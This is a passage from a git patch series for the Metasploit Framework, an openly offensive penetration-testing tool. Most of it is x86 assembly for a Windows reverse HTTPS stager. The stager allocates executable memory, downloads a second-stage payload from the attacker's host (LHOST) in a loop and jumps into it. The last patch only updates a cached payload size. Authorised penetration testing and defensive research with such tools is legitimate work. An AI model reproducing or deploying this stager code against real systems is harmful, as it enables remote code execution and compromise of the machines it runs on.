"VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead + + download_more: + push edi ; &bytesRead + push 8192 ; read length + push ebx ; buffer + push esi ; hRequest + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')} + call ebp + + test eax,eax ; download failed? (optional?) + jz failure + + mov eax, [edi] + add ebx, eax ; buffer += bytes_received + + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage + + execute_stage: + ret ; dive into the stored stage address + + get_server_host: + call internetconnect + server_host: + db "#{datastore['LHOST']}",0x00 + ) + + Metasm::Shellcode.assemble(Metasm::X86.new, payload).encode_string end # @@ -156,4 +252,3 @@ def wfs_delay 20 end end - From 6d6608c06c2def380beb7bd21020003ae37024c6 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 6 Dec 2024 09:15:36 -0500 Subject: [PATCH 13/13] fix: updated cachedsize reverse_https_proxy --- modules/payloads/stagers/windows/reverse_https_proxy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index 871f9f2ff3b5..8e4b55ffc010 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 384 + CachedSize = 400 include Msf::Payload::Stager include Msf::Payload::Windows